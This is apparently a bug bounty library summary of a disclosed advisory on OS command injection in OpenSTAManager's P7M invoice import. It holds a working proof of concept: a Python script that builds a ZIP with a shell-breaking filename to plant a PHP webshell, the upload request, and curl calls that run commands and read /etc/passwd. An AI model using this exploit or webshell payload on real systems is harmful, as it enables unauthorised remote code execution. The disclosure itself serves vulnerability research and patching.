# OpenSTAManager has an OS Command Injection in P7M File Processing

Authenticated attacker uploads ZIP with .p7m filename containing shell metacharacters, injected into exec() openssl call in OpenSTAManager, achieving RCE as www-data.

- Payout: Research
- Severity: critical
- Program: OpenSTAManager
- Found by: lukasz-rybak
- Disclosed: 2026-02-06
- CVE: CVE-2025-69212
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-25fp-8w8p-mx36
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-25fp-8w8p-mx36
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:command-injection vuln:file-upload vuln:rce

**Target:** PHP web app P7M invoice import (XML::decodeP7M exec of openssl)
**Root cause:** decodeP7M() concatenates the user-controlled file path into an exec() openssl command inside double quotes without escapeshellarg, so a filename containing `";cmd;echo "` breaks out of quoting.
**Steps:**
1. Create ZIP with entry name `invoice.p7m";cd files && echo '<?php system($_GET["c"]); ?>' > SHELL.php;echo ".p7m` (no `/` in payload since ZipArchive::extractTo splits on it)
2. POST multipart to `/actions.php` with `blob1`=exploit.zip, `op=save`, `id_module=14`, `id_plugin=48` (importFE_ZIP)
3. App extracts ZIP, iterates files, calls `XML::decodeP7M($directory.'/'.$xml)` for `.p7m` entries
4. Filename injected into `exec('openssl smime ... -in "'.$file.'" ...')`; shell runs the injected `cd files && echo ... > SHELL.php`
5. 500 error with `Start tag expected, '<' not found` confirms command ran before XML parse
6. Request `GET /files/SHELL.php?c=id` unauthenticated to execute commands as www-data
**How found:** Code review of XML::decodeP7M spotted the unescaped `$file` concatenated into exec() despite double quotes; traced callers to ZIP-import paths where filenames are attacker-controlled, then crafted a filename payload accounting for ZipArchive's `/` splitting.
**Exploitation:** Authenticated user with invoice-import access uploads a crafted ZIP; filename breakout in the exec() openssl invocation writes a PHP webshell into the web-accessible files/ directory, then unauthenticated requests to the webshell yield RCE as the web server user.
**Escalation:** Webshell placed in web root gives persistent unauthenticated RCE; potential privesc/lateral movement from www-data.
**Insight:** Double quotes around a shell argument are not sanitization — a filename containing `"` breaks out. When testing ZIP-based import features, put shell metacharacters in the archive entry names, and remember ZipArchive::extractTo splits on `/`, so build payloads with `cd dir && cmd` instead of absolute paths.

## Proof of concept (copied exactly from the original report)

**Python script crafting malicious ZIP filename**

```
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
```

**Multipart upload request delivering exploit ZIP**

```
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
```

**Curl commands executing webshell RCE**

```
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
```

